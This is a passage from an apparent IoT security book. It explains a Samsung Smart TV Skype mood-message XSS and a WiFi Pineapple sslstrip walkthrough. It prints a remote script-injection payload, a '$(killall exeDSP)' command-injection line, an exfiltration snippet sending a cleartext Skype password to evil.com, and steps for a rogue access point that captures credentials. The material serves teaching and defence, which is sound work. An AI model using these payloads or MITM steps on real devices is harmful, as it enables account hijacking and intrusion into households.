PluginAPIMgr.GetMyStorageInfo = function()
{
alert("PluginAPIMgr.GetMyStorageInfo");
var result = this.ExWidgetInterfacePlugin.Execute("ReadWidgetData
    ", "SkypeInfo"; return result;
}

In JavaScript, the alert function is used to pop up a dialog box and display the string passed in as a parameter. However, in this case, the Samsung TV was actually logging the given string to a local file. The researchers realized that this meant that Samsung had modified the actual JavaScript interpreter and that the JavaScript platform was able to perform local file and system operations. This is interesting because JavaScript code running in a typical web browser is usually not allowed to perform system-level operations like these (without some explicit tweaking). This means that a simple flaw in the app could result in a remotely exploitable condition.

The popular XSS (Cross Site Scripting) attack vector usually depends upon the inability of a web application to validate HTML characters (<, >, /, etc.), which in turn allows attackers to inject malicious JavaScript code. Quite similar to an XSS attack, the researchers found a lack of validation in the mood message. Mood messages in Skype are basically status messages such as “Just had coffee, a little jittery today!” or “Out and about, may not respond immediately so be patient!” Now imagine a mood message like the following:

<script src="http://tv.isecpartners.com/reboot.js"></script>

Suppose someone sent you a message on Skype with this as his mood message. You’d expect the app to actually display the mood message as <script src="http://evil.com/reboot.js"></script>. But instead, the Skype app actually processes the string as code and executes it. This causes the Skype app to fetch reboot.js and process the code in it! Now imagine if the following were the content of reboot.js:

fileobject = document.createElement('object'),
fileobject.setAttribute("id", "pluginObjectFile");
fileobject.setAttribute("classid", "clsid:SAMSUNG-INFOLINK-FILESYSTEM");
document.getElementsByTagName("body"[0].appendChild(fileobject);
filePlugin = document.getElementById('pluginObjectFile'),

// Kill exeDSP, forcing reboot
filePlugin.Copy("/proc/self/cmdline", "$(killall exeDSP)/tmp/foo");

Notice the parameters to filePlugin.Copy. Grattafiori and Yavor noted that they could inject the killall exeDSP command as a parameter, causing the TV to reboot since the exeDSP processes handle all the functionality of the TV. This is actually a security bug in the way Samsung modified the JavaScript interpreter.

The researchers took things further with a scenario in which the mood message of the malicious Skype user was the following:

<script src="http://tv.isecpartners.com/exfil.js"></script>

Now assume exfil.js contains JavaScript code like this:

creds = PluginAPIMgr.GetMyStorageInfo();
new Image().src="http://evil.com/"+creds;

The researchers found that the GetMyStorageInfo() call actually returned the value of the user’s Skype password in clear text. This malicious code then sends the credentials to the evil.com server as a parameter. The attacker, who owns evil.com, can then look at the web server logs to note the password. At this point, the attacker can quickly log into Skype and hijack the victim’s account.

Grattafiori and Yavor have found multiple exploitable conditions such as this issue with Skype. Web browser designers have learned the hard way to sandbox client-side code such as JavaScript and respect the same-origin policy. These are fundamental and well-known security concepts in the world of web security. Samsung’s implementation is counter to this fundamental security principle. JavaScript code loaded from external domains should not be allowed to execute with the same privileges as that of code loaded from the local filesystem. Furthermore, the tweaking of the JavaScript interpreter to introduce custom functionality should be carefully designed to make sure no security bugs are being introduced. The lesson to be learned from this example is that security fundamentals such as validation of data and adherence to same-origin policies are basic security requirements that ought to be baked into the design of Smart TVs and other IoT devices. These are not complex attacks, and they are based on attack vectors the industry has known about for more than a decade.

IoT device manufacturers such as Samsung definitely need to do a better job of implementing these basic principles to protect their business as well as the privacy of their loyal customers. A simple attack like this can be exploited to install a persistent backdoor on a Smart TV, allowing the attacker to continuously steal credentials and even remotely view the victim’s premises through the video camera attached to the TV (if present). These types of attacks can therefore compromise the privacy of an entire household. Smart TV and other IoT device manufacturers must take these issues seriously and strive to implement security measures the industry has already learned about from correcting past mistakes.

Say Hello to the WiFi Pineapple Mark V

The WiFi Pineapple Mark V is a wonderful little device (Figure 5-6). Capturing network traffic is often cumbersome, because it requires you to download various pieces of software such as tools and virtual machine images. Additionally, you need to specifically configure these tools, and this can take a lot of time and money. The WiFi Pineapple is an all-inclusive product in the form of a WiFi access point that lets you easily capture network traffic and execute various types of network-related attacks. It is available for purchase online.

Figure 5-6. The WiFi Pineapple Mark V

We will use three devices in our scenario:

• A laptop that is connected to the Internet with an available Ethernet port

• A WiFi Pineapple Mark V connected to the laptop via an Ethernet cable

• A Smart TV connected to the wireless network exposed by the WiFi Pineapple

First, we will set up a new WiFi Pineapple Mark V by connecting the laptop to it using an Ethernet cable. For setup, we have to browse to http://172.16.42.1:1471 and we are presented with the screen shown in Figure 5-7.

Figure 5-7. The setup screen

Upon clicking on Continue, you are asked to pick a password for the WiFi Pineapple. Make sure to select a fairly strong and complex password. Otherwise, someone within your physical vicinity may be able to connect to the Pineapple and potentially compromise your data and other devices on your network.

Once you click on Set Password, the Pineapple will reboot. Wait for a few minutes and then click on the Continue link that appears. A login screen will appear where you need to input the password you just created. Upon successful authentication, you’ll be shown the main section illustrated in Figure 5-8.

Figure 5-8. Main section upon login

Next, change the default name of the WiFi network exposed by the Pineapple (to Trust_Me.). To do this, select Karma followed by Karma Configuration and enter Trust_Me in the SSID field below SSID Configuration. Then click on Update (Figure 5-9).

We will assume the laptop being used is running Linux. The next step is to set up Internet connection sharing so that the Pineapple can access the Internet via the laptop. (Instructions on how to do this in various Operating Systems are available online.)

Figure 5-9. Change the default name of the WiFi network exposed by the Pineapple

On the Linux laptop, we download the Internet connection-sharing script:

$ wget http://wifipineapple.com/wp5.sh

Next, we set the executable flag and run the script:

$ sudo ./wp5.sh
[sudo] password for apple:
  _       ___ _______    ____  _                              __
 | |     / (_) ____(_)  / __ (_)___  ___  ____ _____  ____  / /__
 | | /| / / / /_  / /  / /_/ / / __ / _ / __ '/ __ / __ / / _ 
 | |/ |/ / / __/ / /  / ____/ / / / /  __/ /_/ / /_/ / /_/ / /  __/
 |__/|__/_/_/   /_/  /_/   /_/_/ /_/\___/\__,_/ .___/ .___/_/\___/
  OWN the Network                            /_/   /_/       v2.2

Pineapple Netmask [255.255.255.0]:
Pineapple Network [172.16.42.0/24]:
Interface between PC and Pineapple [eth0]:
Interface between PC and Internet [wlan0]:
Internet Gateway [192.168.231.2]:
IP Address of Host PC [172.16.42.42]:
IP Address of Pineapple [172.16.42.1]:

     _ .           ___          ||/   Internet: 192.168.231.2 - wlan0
   (  _ )_  <-->  [___]  <-->  ,<><>,  Computer: 172.16.42.42
 (_  _(_ ,)       \___        '<><>' Pineapple: 172.16.42.0/24 - eth0

Browse to http://172.16.42.1:1471

In this case, we accepted all the default options offered by the script. At this point, the Pineapple is connected to the Internet. Next, we configure the Smart TV to hop on to the Trust_Me network (refer to your TV’s manual for instructions on how select a particular WiFi network). An example of what this looks like is shown in Figure 5-10.

Figure 5-10. Configure the Smart TV to hop on to the Pineapple

Now, all network traffic to and from the TV will flow through the Pineapple.

Capturing credentials and stripping TLS

In this section, we will demonstrate the sslstrip tool. This tool strips redirection to secure websites and helps perform a link to man-in-the-middle attack. For example, if you’d like to log in to Facebook, you are most likely to type facebook.com_ in your web browser (the secure way to do this is to request the TLS-encrypted version of the website by specifically typing in /https://facebook.com, but users normally don’t do this). Let’s use the telnet client to see what happens when the browser connects to facebook.com:

$ telnet www.facebook.com 80
Trying 31.13.76.102...
Connected to star.c10r.facebook.com.
Escape character is '^]'.
GET / HTTP/1.0
Host: www.facebook.com

HTTP/1.1 302 Found
Location: https://www.facebook.com/
Content-Type: text/html; charset=utf-8
Date: Tue, 09 Dec 2014 04:46:59 GMT
Connection: close
Content-Length: 0

Connection closed by foreign host.

The browser is then redirected to the secure TLS-encrypted version of the website, and the user logs in. The sslstrip tool intercepts this redirect and never sends the browser any link starting with https. It also proxies the requests between the server—i.e., it connects to the destination (facebook.com) using TLS. To be able to do this, we require sslstrip to be on a device that is between the victim and the target destination. And this is exactly the situation we have in our case: the Smart TV is connected to the Pineapple, and we have full control over the Pineapple.

Let’s enable sslstrip on the Pineapple. From the main section, click on Pineapple Bar and select the Pineapple Bar: Available tab. Click Show next to the User Infusions section. You should see a list of infusions populate (these are extensions created by other users to supplement the functionality of the Pineapple). Then click on Install to the right of the sslstrip entry. Click on “Install to internal storage.” Now go back to the main section and you should see a new box for sslstrip (Figure 5-11).

Figure 5-11. sslstrip is installed on the Pineapple

Click on Start and then click on the link titled sslstrip to see the output. On the Smart TV, open up the web browser (most Smart TVs come with a default web browser; see your TV’s instructions) and browse to http://gmail.com. Enter blah for the email address and password and click on Sign in. Of course, the login attempt will fail, but notice the address bar of the browser; the URL is still in the form of http (Figure 5-12). Try the same on a laptop that is not on the Trust_Me network, and you will be redirected to an https link. This means that sslstrip worked.

On your Linux laptop, you should see the actual captured credentials in the Output section of sslstrip (Figure 5-13).

Figure 5-12. Login attempt on Smart TV

Figure 5-13. Captured credentials

The Pineapple is a useful device for testing IoT devices that connect to the network. Check out the various additional infusions available for free. For example, you can use dnsspoof to send the TV any IP address when it looks up the location of a particular server (for example, you might send 192.168.1.1, where you have a local web server installed, instead of one of Google’s real IP addresses, when the TV looks up google.com). In a paper titled “Smart TV Hacking”, Nikos Sidiropoulos and Periklis Stefopoulos found that their Samsung Smart TV connected to a web server at az43064.vo.msecnd.net to download the firmware update. They set up a local server on their laptop with the same firmware file and manually created an entry for az43064.vo.msecnd.net to point to their laptop’s IP address to see if the Smart TV would download the firmware from their laptop instead. It did. This was an interesting test to see if the TV contained any static entries for trusted servers (it didn’t). If you come across a condition such as this, you can easily test this scenario using the dnsspoof infusion on the Pineapple if you don’t have direct access to the TV’s filesystem (to be able to create a static entry).

You can also easily capture all network traffic using the tcpdump infusion (and view it using the Wireshark tool). This can be used to test various functionalities of applications and reverse engineer their design. And this isn’t just limited to Smart TV’s. Test other IoT devices you have access to and see what you find. Have fun!